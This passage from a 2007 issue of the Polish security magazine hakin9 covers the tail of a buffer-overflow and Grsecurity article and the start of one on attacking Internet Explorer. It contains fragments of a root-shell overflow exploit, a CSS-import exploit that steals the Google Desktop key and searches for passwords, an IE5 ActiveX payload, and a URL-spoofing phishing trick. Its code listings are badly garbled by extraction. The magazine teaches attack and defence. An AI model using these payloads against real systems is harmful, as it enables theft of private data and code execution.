// Nadpisz rekord aktywujący adresem instrukcji jmp *%esp.

(

int

(

buff

BUFF_OVER

);

ret

;

O Autorze

Enrico Feresin ma stopień Informaty-
ka i pracuje od wielu lat w obszarze
zabezpieczeń IT. Jest autorem książ-
ki Linux vulnerabilities. Practical gu-
ide through explointing techniques,
opublikowanej we Włoszech pod ko-
niec 2005 roku. Obecnie pracuje dla
dużej firmy ICT.

W Sieci

• h t t p : / / w w w . p h r a c k . o r g/

show.php?p=49&a=14 – Modyfi-
kacja stosów dla zabawy i zysku,
klasyczny artykuł stanowiący wpro-
wadzenie do przepełnień buforów,

• http://www.orkspace.net/software/

libShellCode – oficjalna witryna lib-
ShellCode,

• http://packetstormsecurity.org/

papers/unix/asmcodes-1.0.2.pdf
- UNIX Assembly Codes Develop-
ment for Vulnerabilities Illustration
Purposes, artykuł, opisujący jak
stworzyć ShellCode,

• http://www.grsecurity.net – oficjal-

na strona Grsecurity,

• http://www.kernel.org – oficjalne

archiwum The Linux Kernel.

hakin9 Nr 2/2007

www.hakin9.org

Obrona

do kodu już obecnego wewnątrz
aplikacji.  Ponieważ  adres  kodu
zmienia  się  podczas  każdego
uruchomienia  procesu,  nie  jest
już  możliwe  odgórne  ustalenie
odpowiedniego adresu do prze-
kierowania,

• losowo generują adres początko-

wy stosu. Niektóre exploity uży-
waja stosów do przetrzymywania

danych,  których  będą  potrzebo-
wać  później,  wiedząc,  że  adres
danych  jest  łatwy  do  odgadnię-
cia. Dzięki losowej generacji po-
czątkowych  adresów  stosu,  nie
jest to już możliwe,

• losowo generują adres począt-

kowy stert. Podobnie, jak w przy-
padku stosów, tak w przypadku
stert, możliwe jest przetrzymy-

wanie  pewnych  danych  pomoc-
nych  exploitowi  w  późniejszym
działaniu.  Tworząc  trudny  do
odgadnięcia  adres  dla  tych  da-
nych  upewniamy  się,  że  pamięć
nie zostanie wykorzystana w taki
sposób.

Jednoczesne  użycie  powyższych
technik  zabezpieczających  (które
nie  są  jedynymi  dostępnymi,  jed-
nak to one grają kluczową rolę) ofe-
ruje  wysoki  poziom  bezpieczeń-
stwa. Korzystanie z błędów, czy luk
w systemie (jak przepełnienie bufo-
ra, błędne formaty ciągów itp.), sta-
je  się  niezmiernie  trudne,  o  ile  nie
niemożliwe.

Czytelnicy chcący skorzystać z

ExecShield, będą musieli zainsta-
lować dystrybucję Linuxa opartą na
Red Hat (Red Hat Enterprise lub Fe-
dora).

Jeżeli chcemy natomiast spraw-

dzić  działanie  Grsecurity,  będziemy
musieli  zainstalować  patch  do  źró-
deł  kernela  i  przekompilować  go.
Po  pobraniu  źródeł  kernela  z  wi-
tryny  http://www.kernel.org  oraz
patcha  Grsecurity  ze  strony  http:

//www.grsecurity.net, podążaj za in-
strukcjami  przedstawionymi  na  Li-
stingu  5.  Upewnij  się,  że  pobierasz
wersję patcha odpowiednią dla wer-
sji  Twojego  jądra.  W  naszym  przy-
padku,  kernela  2.6.14.6,  pobieramy
patch 2.1.8.

Po zakończeniu wykonywa-

nia instrukcji widocznych na Listin-
gu 5, będziemy musieli skonfiguro-
wać jądro, by aktywować Grsecuri-
ty. Rysunek 5 pokazuje panel kon-
figuracyjny jądra w sekcji Securi-

ty options. Po wybraniu podme-
nu Grsecurity, a następnie Secu-

rity  Level,  będziemy  mogli  ustawić
poziom zabezpieczeń, jaki chcemy
aktywować  na  naszym  systemie.
Bardziej zaawansowani użytkowni-
cy  mogą  wybrać  opcję  custom  le-

vel  i  określić  wszystkie  parametry
zabezpieczeń ręcznie. Po wprowa-
dzeniu  zmian  powinniśmy  zrekom-
pilować  jądro  i  uruchomić  ponow-
nie system. l

Listing 4b.

Exp2.c

// Zniszcz bufor.

++;

;

// Wprowadź ShellCode.

memcpy

(

shellcode

strlen

(

shellcode

));

// Uruchom podatny na atak program.

printf

(

"Próbuję uzyskać shella jako root...

);

execle

(

VULN_PROG

buff

NULL

);

}

Listing 5.

Instrukcje instalacji Grsecurity w źródłach jądra

# tar xfj linux-2.6.14.6.tar.bz2
# mv linux-2.6.14.6 linux-2.6.14.6-grsec

# gunzip grsecurity-2.1.8-2.6.14.6-200601211647.patch.gz

# cd linux-2.6.14.6-grsec
#

patch

../

grsecurity

2.1

2.6

14.6

200601211647.

patch

Rysunek 5.

Konfiguracja Grsecurity

www.hakin9.org

hakin9 Nr 2/2007

Atak

a początek warto wspomnieć o tym
co działo się do tej pory z obecnym
synonimem internetu, bo to wcale nie

od niego się zaczęło. Zaczęło się bowiem od
przeglądarki  WorldWideWeb  (Rysunek  1.)
napisanej około roku 1990, oraz Silversmith,
której niektóre z funkcji do tej pory nie zosta-
ły  zaimplementowane  w  żadnej  z  obecnych
przeglądarek.  Przed  spopularyzowaniem  IE
triumfy  święciły  także  ViolaWWW  i  NCSA
Mosaic, która w pewien sposób przekształci-
ła się ostatecznie w legendarnego Netscape
Navigatora.  To  właśnie  Netscape  Navigator
dał  początek  Mozilli,  która  powstała  na  ba-
zie jego silnika.

Poprzez podzielenie Mozilli i wyodrębnie-

nie jedynie przeglądarki WWW stworzono Fi-
refoxa, który wydaje się być obecnie najwięk-
szym  konkurentem  IE.  Ponieważ  zauważy-
łem,  że  coraz  więcej  młodych  ludzi  nie  ko-
jarzy  przyczyn  sukcesu  przeglądarki  Micro-
softu, kojarząc za to, że nie był on pierwszą
przeglądarką  i  nie  zawsze  był  przeglądarką
najpopularniejszą,  muszę  powiedzieć  jed-
ną rzecz. Sukces IE jednoznacznie kojarzo-
ny  jest  z  sukcesem  systemu  Windows.  Sta-
tystyki  jednoznacznie  pokazują,  że  popular-

ność przeglądarki rosła z popularnością sys-
temu z Redmond.

Największy skok odnotowuje się tu przy

Windows95 z którym to przeglądarka zosta-
ła  zintegrowana.  Można  tu  jeszcze  wspo-
mnieć  o  głośnych  procesach  w  stanach  od-
nośnie stopnia integracji IE z Windows 98 i o
tym, że proces dotyczył niemożności usunię-
cia  przeglądarki  z  systemu  tak  jak  normal-
nych programów. To tyle w kwestii wyjaśnie-
nia i wstępu.

Hakownie Internet Explorer

Krzysztof Kozłowski

stopień trudności

Jedno z pytań, które z biegu zostaną przez czytelników Hakin9u

zaliczone do grupy retorycznych, jest pytanie o to która z

przeglądarek jest przeglądarką najdelikatniejszą.

I choć powiedzenie „wszystko co piękne jest delikatne” do

niedawna nie miało zupełnie żadnego odniesienia w stosunku do

najpopularniejszej przeglądarki na świecie, dziś to się zmienia.

Z artykułu dowiesz się...

• o zagrożenieniach IE 7,
• w jaki sposób omijać zagrożenia w Internet

Explorer 7,

• o przejmowaniu kontroli nad filtrem krytycznych

wyjątków.

Powinieneś wiedzieć...

• powinieneś posiadać podstawową wiedzę na

temat zagrożeń płynących z Internetu,

• powinieneś posiadać wiedzę o postawowych

systemach zabespieczeń w Internecie.

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

Teoria

Internet Explorer 3 był pierwszą z po-
pularnych przeglądarek obsługują-
cych CSS, ze wsparciem dla ActiveX,
apletów Javy. To dało mu przewagę
nad Netscape Navigatorem.

Przeglądarka używa zone-based

security  framework  co  sprowadza
się  do  grupowania  stron  wg.  pew-
nych  kryteriów.  W  zamierzeniach
ma to zapobiegać wykonywaniu się
niepożądanych  funkcji  (Rysunek  8).
Aplikacja  monitoruje  każde  żądanie
instalacji  dzięki  czemu  dopóki  użyt-
kownik  nie  potwierdzi  źródła  jako
bezpiecznego, system będzie moni-
tował żądaniem potwierdzenia.

W Windows Vista IE7 posiada

tryb  chroniony  -  Protected  Mode,  w
trybie tym, przeglądarka działa nawet
z  mniejszymi  prawami  niż  użytkow-
nik, który ją uruchomił. Przeglądarka
ma wówczas dostęp tylko do katalogu
Temporary Internet Files, nie może in-
stalować  żadnego  oprogramowania,
ani zmieniać konfiguracji bez porozu-
mienia z odpowiednim procesem sys-
temowym (broker process).

Delikatność Internet Explorera

została  uznana  dzięki  dużej  ilości
spyware, adware, czy wirusów wyko-
rzystujących IE jako furtkę do syste-
mu.  Czasem  wystarczyło  odwiedzić
specjalnie  przygotowaną  stronę  by
umożliwić  instalację  złośliwej  apli-

kacji  (Rysunek  8).  Po  stronie  złośli-
wego  oprogramowania  stała  także
postawa  Microsoftu,  bardzo  wolno
reagującego  na  zgłaszane  dziury
bezpieczeństwa. Znacznie wolniej niż
konkurencja.  Wykorzystywane  było
to  przez  rzesze  script  kiddies  oraz
całkiem dojrzałych programistów im-
plementujących  złośliwe  oprogramo-
wanie w większych aplikacjach.

Przykładem niech będą tutaj ba-

zy danych na temat bezpieczeństwa.
Według Secunii od 28 maja tego roku
na 104 dziury w Internet Explorerze

19  wciąż  pozostaje  niezałatanych.
Wśród  nich  większość  oznaczona
jest jako ekstremalnie krytyczne. Dla
porównania, największy konkurent IE
-  Mozilla  Firefox,  w  tym  czasie  miał
zgłoszonych 36 dziur. Trzy wciąż po-
zostają niezałatane, a ich oznaczenie
to najmniej krytyczne. Inny konkurent
IE  –  czyli  Opera  ma  jedną  zgłoszo-
ną dziurę, która jest załatana. Nie ma
żadnych niezałatanych dziur. W ma-
ju  2006,  magazyn  PC  World  ozna-
czył  Internet  Explorera  6  jako  naj-
gorszy produkt wszech czasów. Zna-
ny jest także fakt braku wsparcia dla
standardów, co znacznie utrudnia pi-
sanie  aplikacji  webowych  kompaty-
bilnych z IE i innymi przeglądarkami.
Problemem dla programistów MS by-
ło  nawet  dodanie  dobrego  wsparcia
dla formatu .png. Do tej pory IE pozo-
stawiał także wiele do życzenia pod
względem prędkości.

Szczegóły

Istnieje  wiele  znaczących  słabości
i  dziur  w  technologiach  zaimple-
mentowanych w Internet Explorerze,
a mających związek z modelem do-
men i stref bezpieczeństwa, lokalnego
systemu plików (Local Machine Zone),
dynamicznego HTML (DHTML), stron
pomocy w HTML, rozpoznawania ty-
pów  MIME,  interfejsem  użytkownika
(GUI), oraz ActiveX. Z uwagi na fakt,
że  IE jest mocno zintegrowany z Win-

Rysunek 1.

Pierwsza przeglądarka - World Wide Web

Rysunek 2.

IE przygotowany przez MS dla Unixa

hakin9 Nr 2/2007

www.hakin9.org

Atak

dows, często udany atak na przeglą-
darkę prowadzi do uzyskania dostępu
do systemu operacyjnego.

Vista przynosi dwa rozwiąza-

nia: mechanizm User Account Con-

trol,  który  zmusza  użytkownika  do
potwierdzenia  każdej  akcji  mogącej
mieć wpływ na bezpieczeństwo sys-
temu, nawet w przypadku pracy jako
administrator  systemu  oraz  Protec-

ted-mode IE, dzięki któremu prze-
glądarka pracuje ze znacznie mniej-
szymi prawami niż użytkownik.

Duża część dziur bezpieczeństwa

Internet  Explorera  związana  jest  za-
implementowanym modelem obiekto-
wym dla komponentów. (Component
Object  Model  -  COM).  Wbudowanie
COM w Internet Explorera przez me-
chanizm ActiveX czy Browser Helper
Objects  (BHO)  otworzyło  szereg
możliwości które stały się bramą dla
wirusów, trojanów i infekcji spywaru.

Atak na słabości Internet Explo-

rera w celu przechwycenia informa-
cji o użytkowniku za pomocą Google
Desktop.

Większa część czytelników praw-

dopodobnie jest ostrożna jeśli chodzi
o bardzo popularny trick używany
przez spamerów i im podobnych,
którzy tworzą adresy URL z nazwa-
mi użytkownika, które wyglądają jak
nazwy hostów, by sprawić by ludzie
ufali niebezpiecznym stronom.

Na przykład http://www.microsoft

.com&session%123123123@krzysie

k.software.com.pl.  Ten  trick  używany
jest  często  do  kradzieży  kont  typu
paypal,  przez  oszukiwanie  użytkowni-
ków.  Wprowadza  ich  bowiem  w  błąd,
że hasło zostało zresetowane, lub źle
wpisane.  Komunikat  generowany  jest
oczywiście przez stronę przygotowaną
specjalnie w tym celu, a na którą adres
przekierowuje. Użytkownik poinformo-
wany  o  tym,  że  hasło  należy  zmienić
i że należy najpierw wpisać stare hasło
może faktycznie to uczynić – dając tym
samym je na tacy phisherowi.

Ulepszona wersja tego ataku

czyni  go  znacznie  bardziej  niebez-
piecznym  i  polega  na  wprowadze-
niu  wartości  0x01  po  symbolu  @
w  fałszywym  adresie.  Można  spra-
wić, że Internet Explorer nie będzie
wcale  wyświetlał  reszty  adresu.  Na
przykład:  http://www.microsoft.co-

m&session%123123123@0x01krzy-

siek.software.com.pl

W ogóle

Jakiś  czas  temu  odkryto  możliwość
wykorzystania  Google  Desktop  do
uzyskania    zdalnego  dostępu  do
prywatnych  danych,  jak  numery
kart  kredytowych  czy  hasła.  Można
tego  dokonać  poprzez  odpowiednio
przygotowaną  stronę  internetową.
Dzięki  kilku  słabościom  projekto-
wym  Internet  Explorera  możliwe
jest  tu  zmuszenie  odwiedzających
do uruchomienia wyszukiwania pro-
wadzącego  na  strony  internetowe
wykorzystujące te słabości. Na czym
polegają te słabości i jak je wykorzy-
stać? Wystarczy IE w wersji 6, o co
w  tej  chwili  nie  trudno  –  bo  jest  to
najpopularniejsza  i  najaktualniejsza
pełna wersja dostępna w momencie
pisania  tego  artykułu.  Przyda  się
także  Google  Desktop  w  wersji  v2,
oczywiście  zainstalowany.  Można
go przetestować za pomocą skryptu
z Listingu 1. Co prawda Google za-
łatało juz swoje strony, jednak przy-
kład daje dobre wyobrażenie.

Rysunek 3.

Internet Explorer 2.0

Rysunek 4.

Internet Explorer 3.0

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

W szczególe

Zwykle przeglądarki mają wbudowane
silne restrykcje co do interakcji związa-
nych z kilkoma domenami. Odpowied-
nio przygotowana strona pozwala prze
kierować  użytkownika  na  inny  adres.
Nie może jednak sprawić by czytana
była  jej  zawartość  lub  manipulowany
był  jakikolwiek  obiekt  DOM.  To  ob-
ostrzenie  jest  dobrze  przetestowane,
w  związku  z  czym  właściciel  strony
nie  może  szpiegować  użytkownika
surfującego po internecie za pomocą
JavaScrtiptu.  Dodatkowo,  jeśli  użyt-
kownik jest już zalogowany do jakiejś
usługi (gmail lub hotmail) to gdyby nie
było  tych  zabezpieczeń,  odwiedzana
strona  mogłaby  wykonywać  pewne
operacje  na  koncie  użytkownika  (np.
kasowanie wiadomości czy wysyłanie
ich). W Internet Explorerze te zabez-
pieczenia  działają  dobrze,  dopóki  do
gry nie wejdą importy CSS. Popular-
nie zwie się to atakami CSSXSS lub
Cascading  Style  Sheets  Cross  Site
Scripting.

Odpowiednio przygotowana stro-

na może zaimportować reguły CSS
przy  użyciu  dyrektywy  @import.  IE
ma  jeszcze  bardzo  wygodną  funk-
cję  dostępną  z  poziomu  javascrip-

tu: addImport która działa jak @im-

port ale w środowisku uruchomie-
niowym. Reguły CSS mogą później
posłużyć do uzyskania dostępu do

właściwości cssText w zestawie do-

cument.styleSheets.  Co  jednak  sta-
nie się jeśli strona zaimportuje URL,
który  nie  jest  poprawnym  plikiem
CSS? Otóż IE  pozwoli na przetwo-
rzenie CSS pozwalając tym samym
na czytanie właściwości cssTex oraz
zdalne czytanie kodu html który zo-
stał wczytany do reguł CSS. Ponie-
waż  reguły  CSS  wymagają  pewnej
struktury dla odpowiedniej ilości ko-
du, może się on różnić w zależności
od źródła strony.

Reguły CSS determinują wygląd

stron i z reguły określają wybór, wła-
sność i wartości. Własność i warto-
ści są oddzielane dwukropkiem i za-
mknięte przez nawiasy. Na przykład
by pokolorować linki na stronie trze-
ba zdefiniować reguły CSS a {color:

white}. W celu odzyskania kodu z da-
nego adresu, który dostarcza niepo-
prawny  kod  CSS,  strona  docelowa
musi  zawierać  kilka  znaków  używa-
nych w CSS jak na przykład nawiasy.
Na  szczęście  wiele  obecnych  stron
zawiera je, ponieważ są one bardzo
popularne w kodzie Javascript i regu-
łach CSS implementowanych na stro-
nach.  Jak  tylko  parser  CSS  Internet
Explorera  trafi  na  odpowiednie  na-
wiasy,  spróbuje  on  odczytać  dane  i
zinterpretować  dane  po  nich  wystę-
pujące.  Nawet  w  przypadku  gdy  te
reguły  CSS  nie  będą  miały  dla  nie-
go żadnego sensu, IE wciąż będzie je
interpretował i pozwoli obejrzeć je w

cssText. Kombinacje nawiasów, dwu-
kropków i średników pozwala decydo-
wać, które kawałki kodu mogą zostać
odczytane.

Podczas używania technik

CSSXSS

atakujący z pewnością będzie w sta-
nie  uzyskać  kod  JavaScript.  Jed-
nak  może  dopomóc  szczęściu  po-
przez  wstrzykiwanie  znaków  CSS  w
przestrzeń  docelową  adresu.  Ponie-
waż  wiele  stron  generowanych  jest

Rysunek 5.

Internet Explorer 4

Rysunek 6.

Internet Explorer 6 z blokadą wyskakujących okienek

hakin9 Nr 2/2007

www.hakin9.org

Atak

dynamicznie i dostaje parametry przez
URL, wstrzykiwanie znaków jest zwy-
kle trywialnie proste. Mechanizm jest
podobny do tego używanego w przy-
padku klasycznych ataków XSS, z tą
różnicą, że tutaj atakujący wstrzyku-
je znaki, które przez większość stron
uznawane są za nieszkodliwe.

Podobnie jak w przypadku więk-

szości  dziur  XSS,  błędy  projektowe
Internet  Explorera  pozwalają  ataku-
jącemu  przechwycenie  prywatnych
danych lub wykonanie odpowiednie-
go kodu na zdalnej maszynie. Różni-
ca w tym przypadku polega na tym,
że strona wcale nie musi być podatna
na wstrzykiwanie kodu. Wszystko co
musi  zrobić  atakujący  to  skuteczne
zaproszenie  ofiary  na  odpowiednio
przygotowaną  stronę.  Tysiące  stron
może zostać do tego użytych, a do-
datkowo nie ma łatwego rozwiązania
chroniącego przed atakami, do póki
IE  nie  zostanie  załatane.  Daje  to
całkiem  sporą  liczbę  użytkowników
podatnych na atak.

Podatność ta testowana była na

w  pełni  spatchowanej  przeglądarce
Microsoft  Internet  Explorer  w  wersji
6, wcześniejsze najprawdopodobniej
także  są  wrażliwe.  Dla  porównania
Mozilla  Firefox  wydaje  się  prze-
strzegać  restrykcji  i  zachowywać  je
w importach CSS co z kolei czyni ją
odporną  na  tego  typu  ataki.  Opera
nie  jest  wrażliwa,  ponieważ  nie  ob-
sługuje kolekcji styleSheets. Zabez-
pieczeniem dla użytkowników może
być  wyłączenie  obsługi  Javascriptu
w Internet Explorerze lub użycie in-
nej przeglądarki.

Exploit

dla Google Desktop

By  zademonstrować  co  można  zro-
bić  dzięki  opisanej  wyżej  słabości,
przygotujemy  skrypt  exploitujący
Google  Desktop  Search  (GDS)  do
wyszukiwania  i  przechwytywania
prywatnych  danych  użytkowników
poprzez  zdalną  stronę.  Jednak  za-
nim  do  tego  przejdziemy  –  krótka
charakterystyka  działania  mechani-
zmu GDS.

Google Desktop Search to

całkiem  użyteczny  kawałek  kodu,
który  indeksuje  dane  użytkownika.
Do  indeksowanych  danych  zalicza
dokumenty,  maile,  arkusze  itd.  Po
zindeksowaniu  użytkownik  może
przeszukiwać  pliki  za  pomocą  in-
terfejsu  podobnego  do  tego  który
posiada  wyszukiwarka  Google.
Wyszukiwanie  realizowane  jest  za
pomocą  serwera  http  zainstalowa-
nego na lokalnej maszynie. Serwer
nasłuchuje na porcie 4664 i związa-

ny  jest  jedynie  z  lokalną  maszyną
127.0.0.1,  co  uniemożliwia  nawią-
zanie  bezpośredniego  połączenia
z zewnątrz.

Google dodało także dodatkowe

zabezpieczenie, które uniemożliwia
dostęp zewnętrznych stron do lokal-
nego  serwera  –  stąd  próby  explo-
itowania  dziur  XSS  raczej  się  nie
powiodą. W celu uzyskania dostępu
do interfejsu GDS generowany jest
pseudo-losowo  klucz,  który  musi
zostać  przekazany  jako  parametr
w  adresie  URL.  Klucz  generowany
jest  w  momencie  gdy  użytkownik
klika  na  ikonę  GDS,  a  domyślna
przeglądarka  używając  wygenero-
wanego  przez  serwer  klucza  łączy
się z nim. Jeśli klucz okaże się błęd-
ny  lub  nie  będzie  go  wcale,  GDS
nie pozwoli na wykonanie żadnego
zapytania i zwróci komunikat błędu.
W takim wypadku jedyną rzeczą do
jakiej przeglądarka będzie miała do-
stęp, będzie obrazek w formacie .gif
– logo Google.

Google zintegrowało po za tym

GDS  z  jej  sztandarową  wyszuki-
warką  na  google.com.  Po  insta-
lacji  GDS,  pojawi  się  nowy  link  w

google.com  nad  polem  zapytania.
Link  nazwany  został  Desktop.  Link
prowadzi  do  adresu  URL  lokalne-
go  serwera  i  zawiera  klucz.  Dzię-
ki  temu  użytkownik  będzie  mógł
przejść  do  wyszukiwania  lokalnych
plików,  nie  zauważając  nawet,  że
opuszcza  stronę  Google.  Link  „de-
sktop” w zasadzie nie pochodzi na-
wet od Google, ale jest wstrzykiwa-
ny przez GDS poprzez plugin prze-

Rysunek 7.

Internet Explorer 7 z zakładkami

Rysunek 8.

Popularność Internet Explorera

1996

1998

2001

2002

2004

2006

20%

40%

60%

80%

100%

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

glądarki – jak tylko ta stwierdzi, że
odwiedzana jest strona Google. Ma
to zapobiegać wycieknięciu klucza
na zewnątrz.

W celu wykorzystania luki z GDS

atakujący  musi  najpierw  zdobyć
klucz.  Bez  niego  ciężko  uzyskać
byłoby dostęp do lokalnego serwera.
Jak  wspomniałem  wcześniej,  klucz
występuje w linku na stronie Google,
więc to jest właśnie miejsce z którego
można go przechwycić poprzez uży-
cie ataku

CSSXSS

. Z uwagi na projekt

stron  Google,  przechwycenie  linku
nie będzie możliwe na większości ich
stron. Mimo to jednak istnieje albo ist-
niał sposób wykorzystujący link, który
może  zostać  zwrócony  przez  stronę
Google  News,  na  news.google.com.
Należy  wstrzyknąć  nawiasy  klamro-
we w zapytanie. Następnie wystarczy
wydobyć  klucz  za  pomocą  wyrażeń
regularnych i importu CSS na adresie
z  lokalnego  serwera  .  Można  dodać
także do zapytania nawias klamrowy
"{" by wyniki wyświetlone zostały tak-
że  we  własności  „cssText”  po  spar-
sowaniu  przez  CSS.  Ten  znak  jest
ignorowany przez silnik wyszukiwarki
i nie ma wpływu na wyniki.

Przykład ten pełni spatchowanym

Internet  Explorerem  (z  domyślnymi
ustawieniami zabezpieczeń i prywat-
ności) oraz z Google Desktop v2. Nie
zadziała  z  innymi  przeglądarkami,
chyba, że są to pochodne IE. Wyniki
mogą także być różne w zależności
od wersji językowej i projektu strony
Google  News  i  zawartości  dysku
ofiary  (oraz  prawdopodobnie  wersji
językowej GDS).

Atak#2 Zdalne

wykonywanie kodu

Dobrze  znamy  komunikat  ze  słowa-
mi  unhandled  exception  pojawiający
się w różnych okolicznościach w sys-
temie Windows. Błędy o których infor-
muje  mogą  pozwalać  na  wykonanie
odpowiednio  przygotowanego  kodu.
Dla  atakującego  najważniejsze  jest
zdobycie wówczas kontroli nad filtrem
takich wyjątków. Od wersji SP2 poja-
wiły się pewne zabezpieczenia co do
kontroli takich wyjątków, jednak mimo
tych  usprawnień,  które  mierzą  bez-
pośrednio  w  uniemożliwienie  kontroli

Listing 1.

Wykorzystanie słabości Internet Explorera i Google Desktop

html

head

title

Wykorzystanie

slabosci

Internet

Explorera

Google

Desktop

title

style

type

"text/css"

import

url

(

"http://news.google.com/news?hl=en&ned=pl&q=%7D%7B"

);

style

head

body

Wykorzystanie

slabosci

Internet

Explorera

Google

Desktop

center

Przetrawiony

kod

HTML

zaimportowany

poprzez

CSS

Google

News

tym

wypadku

link

lokalnej

maszyny

textarea

rows

"26"

cols

"70"

"nowesssrc"

textarea

Klucz

Google

Desktop

gni

linku

input

type

"text"

size

"50"

"klucz"

Wyniki

Google

Desktop

lokalnej

maszynie

dla

owa

"password"

surowym

HTML

przetworzeniu

CSS

textarea

rows

"24"

cols

"90"

"wyniki"

Prosimy

czeka

wyniki

textarea

Oryginalna

strona

komunikatu

Google

Desktop

maszyny

lokalnej

iframe

width

"500"

height

"250"

"strona"

iframe

script

// Pokazujemy wyniki zapytania google desktop

function

showResults

()

{

document

getElementById

(

"wyniki"

)

innerText

document

styleSheets

(

)

imports

(

)

cssText

;

}

// Pokaz sparsowany CSS kod HTML z importu z Google News

document

getElementById

(

"nowesssrc"

)

innerText

document

styleSheets

(

)

imports

(

)

cssText

;

// Wyrazenie regularne parsujace klucz z wynikow importu CSS

var

new

RegExp

(

"127.0.0.1:4664/search&s=(.+?)

);

var

reRes

exec

(

document

styleSheets

(

)

imports

(

)

cssText

);

(

reRes

)

{

// Pokaz sparsowany klucz

document

getElementById

(

"klucz"

)

innerText

reRes

[

];

// Polacz poprawny klucz z adresem lokalnego serwera

dodaj

zapytanie

haslo

linka

var

searchURL

"http://127.0.0.1:4664/search&s=

reRes

[

]

"q=%7Bpassword"

;

// Dodaj zaimportowane CSS do tworzonego URLa

document

styleSheets

(

)

addImport

(

searchURL

);

// Pokaz strone wyszukiwania w ramce

document

getElementById

(

"strona"

)

src

searchURL

;

// Poczekaj kilka sekund ze strona z wynikami

setTimeout

(

showResults

()

5000

);

}

else

{

// Jesli nie uda sie sparsowac klucza, pokaz blad

document

getElementById

(

"klucz"

)

innerText

"nie moge pobrac linku Google Desktop"

;

document

getElementById

(

"wyniki"

)

innerText

"Nie moge pobrac wynikow Google Desktop"

;

}

script

body

html

hakin9 Nr 2/2007

www.hakin9.org

Atak

filtra,  wciąż  można  zdobyć  kontrolę
nad  filtrem  na  wyższych  poziomach.
Jest to możliwe dzięki skorzystaniu z
dziury  projektowej,  a  dokładniej  spo-
sobu w jaki filtry wyjątków zostały ze
sobą powiązane. Takie podejście ma
swoje ograniczenia, które polegają na
tym,  że  atakujący  może  kontrolować
jedynie powiązania między filtrami jak
ładowanie i zwalnianie bibliotek. Najła-
twiej  skorzystać  z  tego  w  przypadku
Inernet Explorera.

To, że dziury można podzielić na

te, które pozwalają na wykonanie ko-
du i takie, które na to nie pozwalają,
pozwala  stwierdzić,  czy  dana  dziura
może  zostać  wykorzystana  przez
atakującego  czy  nie.  Jednak  wiele
z  tych  pierwszych  dziur  jest  niegroź-
nych w związku z tym, że w ogóle nie
mają do czynienia z buforem pamięci.
Z drugiej strony wiele z nich okazuje
się później dopiero dziurami które na
atak pozwolą.

W związku z tym warto rozwa-

żać  czy  dana  dziura  może  w  jakim-
kolwiek  kierunku  wpływać  na  możli-
wość  wykonania  kodu  przy  pomocy
innej aplikacji. Dla przykładu, wywo-
łanie NULL pointer  spowoduje naru-
szenie praw dostępu i zarządca kry-
tycznych wyjątków odpowiednio zare-
aguje – pod warunkiem, że ma na to
odpowiednią instrukcję. Jeśli żaden z
zarządców nie wie co z takim fantem
zrobić, wywołany zostanie filtr wyjąt-

ków  najwyższego  poziomu  (unhan-
dled  exception  filter  –  UEF).  Wywo-
ła  go  kernel32!

UnhandledException-

Filter

(jeśli został ustawiony). Po za

tym mechanizmem, mnie ma tu wie-
lu kontrolowalnych dróg którymi mo-
że podążać atakujący, bez spełnie-
nia innych warunków. Dlatego najlep-
szym miejscem na szukanie tego ty-
pu luk jest w samym procesie zarzą-
dzania wyjątkami.

Pierwszym etapem zarządzania

bądź dystrybucji wyjątków jest wywo-
ływanie zarejestrowanych dla danych
wyjątków wątków. Pozwala to stwier-
dzić,  które  wyjątki  są  kontrolowane
i  w  jaki  sposób.  Jeśli  żaden  z  z  za-
rejestrowanych  wyjątków  nie  może
być prze kierowany, należy poszukać
metody na prze kierowanie zarządcy
wyjątków  lub  jego  filtra.  Można  tego

dokonać poprzez zmianę wskaźnika,
by  ten  wywoływał  określony  przez
nas  kod.  Jednak  od  SP2  jest  to
znacznie trudniejsze. Nie jest już tak
łatwo  nadpisywać  zmienną  globalną
zawierającą UEF górnego poziomu.

W celu umożliwienia aplikacjom

obsługi  wyjątków  ,  zarządca  dostar-
cza  interfejs  do  ich  rejestracji.  Dzię-
ki  niemu  można  logować  informacje,
wykonywać odzyskiwanie, obsługiwać
wyjątki  specyficzne  dla  danego  języ-
ka.  W  celu  określenia  i  zarejestrowa-
nia  wyjątku  można  posłużyć  się:  ker-
nel32!

SetUnhandledExceptionFilter

Co działa jak:

LPTOP_LEVEL_EXCEPTION_FILTER
SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER
lpTopLevelExceptionFilter
);

W momencie wywołania, funkcja ta
wskaże argument:

lpTopLevelExceptionFilter

i zakoduje go za pomocą:

kernel32!RtlEncodePointer.

Wynik przechowany zostanie w zmien-
nej globalnej:

kernel32!BasepCurrentTopLevelFilter

i prze kierowana do którykolwiek

filtra najwyższego poziomu. Zapisa-
na wartość ze zmienną globalną jest
dekodowana poprzez:

kernel32!RtlDecodePointer

Listing 2.

A oto przykład innego, załatanego już błędu w IE5, który

umożliwiał wykonanie, w tym wypadku kodu uruchamiającego notatnik

html

body

script

function

Notatnik

()

{

var

url

res

mmcndmgr

dll

prevsym12

htm

#%29%3B%3C/style%3E%3Cscript%20language

jscript

Dnew

ActiveXObject

Shell

Application

ShellExecute

notepad

script

-//%7C0%7C0

;

document

location

url

;

}

script

center

Jesli

klikniesz

przycisk

przegladarce

IE5

nie

zainstalowales

latki

MS06

044

uruchomisz

notatnik

input

type

button

onClick

Notatnik

()

value

Uruchom

notatnik

body

html

Rysunek 9.

Rejestracja i od rejestrowywanie wyjątków

Rejestracja Wx

SetUnhandledExceptionFilter(Wx) => Ux

Odrejestrowanie Wx

SetUnhandledExceptionFilter(Ux) => Wx

Rejestracja Dx

SetUnhandledExceptionFilter(Dx) => Wx

Odrejestrowanie Dx

SetUnhandledExceptionFilter(Wx) => Dx

Symetria Wx

Symetria Dx

Hakowanie Internet Explorer

hakin9 Nr 2/2007

www.hakin9.org

i zwrócona zgłaszającemu. Kodowa-
nie i odkodowanie wykonywane jest
w celu uniemożliwienia atakującemu
spowodowania użycia dodatkowej ilo-
ści pamięci w celu prze kierowania.

Funkcja kernel32!

SetUnhandledE-

xceptionFilter

zwraca wskaźnik do

oryginalnego  najwyższego  poziomu
z  dwóch  powodów.  Po  pierwsze
dzięki  temu  możliwe  jest  odtworze-
nie  stanu  w  przyszłości,  po  drugie
możliwe  jest  stworzenie  łańcucha.
Kiedy  jakiś  blok  kodu  zarejestrował
wyjątek  w  UEF,  UEF  odjrejestrowu-
je  go.  Robi  tak,  poprzez  ustawienie
